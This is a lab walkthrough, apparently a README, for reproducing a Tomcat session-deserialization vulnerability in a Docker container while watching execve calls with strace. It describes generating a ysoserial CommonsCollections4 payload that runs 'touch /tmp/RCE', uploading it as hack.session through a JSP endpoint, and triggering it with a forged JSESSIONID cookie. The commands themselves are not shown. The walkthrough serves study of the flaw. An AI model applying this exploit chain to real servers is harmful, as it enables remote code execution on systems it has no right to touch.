The initial idea is to observe how Tomcat handles files in an environment configured to study the CVE — starting with a benign request, which only writes a file in a controlled manner (without exploitation attempt) and then a malicious file.

Build and execution

1. Build the Docker image

2. Run the container

Monitoring execve syscalls

In another terminal, execute the commands below.

Initial test (good and safe request)

We will send a simple file to observe normal behavior.

Upload sending a string

If everything is correct, nothing should appear in the terminal running strace.

Note: If SIGSEGV errors appear in strace, ignore them. They are JVM noise.

Exploiting the vulnerability

1. Download YSoSerial Tool used to generate serialized Java objects with known gadget chains.

2. Generate the malicious payload in session format

Here we use the CommonsCollections4 chain to generate an object that, in a vulnerable scenario, could execute the command touch /tmp/RCE. The payload will be saved as hack.session.

If the previous command fails, then to ensure compatibility with modern Java versions (9+), you need to add the --add-opens flag to disable strong encapsulation (JPMS), which would otherwise block the reflection used by ysoserial.

After this command you will have a local binary file:

3. Upload the payload to the server

We send the .session file to the JSP endpoint, which writes the content directly to the /tmp/app-data directory.

Expected output:

File saved successfully at: /tmp/app-data/hack.session

📌 At this moment no command is executed — only file writing on the server occurred.

4. Use the injected session

Now we make a request sending the cookie JSESSIONID=hack, trying to force Tomcat to load the newly created session.

In the strace terminal, execve commands creating the file should have appeared.

To verify if the file was created, we can also enter the container and check